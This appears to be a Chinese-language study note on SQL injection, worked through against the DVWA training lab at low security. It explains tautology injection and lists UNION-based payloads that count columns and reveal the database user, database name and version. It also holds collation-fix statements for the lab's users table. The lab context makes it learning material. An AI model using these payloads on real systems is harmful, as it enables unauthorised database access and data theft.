攻击的原理

注入类型

SQL注入漏洞 经典且有效 最常见的原因是因为输入没有做过滤 在应用程序预先定义好的SQL语句结尾加上额外的SQL语句元素 借机执行SQL语句 借用现有的网站应用提交的表单注入

攻击类型区别 作用的函数

String参数

数值类型

DVWA实操

low模式

// 一般SQL代码中会有这么一段
SELECT * FROM TABLENAME WHERE ID = 变量,
// 当通过注入后会变成
SELECT * FROM TABLENAME WHERE ID = 变量 OR 1=1;
// SQL中where子句用来提取满足特定条件的记录 但被加入or 1=1 相当于恒真 
// 就会使WHERE后面的表达式变成一句可有可无的表达式 WHERE子句过滤无意义 使其相当于
SELECT * FROM TABLENAME
// 然后就可以通过这种句式来取得当前数据表中所有的用户信息。

其中的'or'1'='1 使其where子句无意义 可以用在 SELECT UPDATE DELETE 语句中 或者SET子句

//ORDER BY 语句用于对结果集进行排序 如果行数大于数字 则会报错
1'order by 2 #  //#启到单行注释效果 注释后面的语句 保证正确执行
//一直把数字试下去直到报错提示 报错前的数字就是这个库的列数
//order by 和 group by 都可以完成这项任务 虽然他们在SQL中功能不同
1'union select 111,222#
// Select直接加数字串不写表名时 输出的内容就是我们的数组 值为任意 可以遍历列
// 可以使用简单的select确认前端回显的数字数字“通道” 及数据返回到前端的位置
1'union select 111,md5("123232")#
// 我们可以将遍历列位置替换mod5() 若成功回显 则表示此列类型为字符串
1'union select user(),database()#
// 爆出用户和数据库名
1'union select current_user(),version()#
// 爆出当前用户和SQL版本号

Untitled

alter table users modify first_name varchar(70) character set utf8 collate utf8_general_ci
alter table users modify last_name varchar(70) character set utf8 collate utf8_general_ci
alter table users modify user varchar(70) character set utf8 collate utf8_general_ci
alter table users modify password varchar(70) character set utf8 collate utf8_general_ci

查找有价值的表名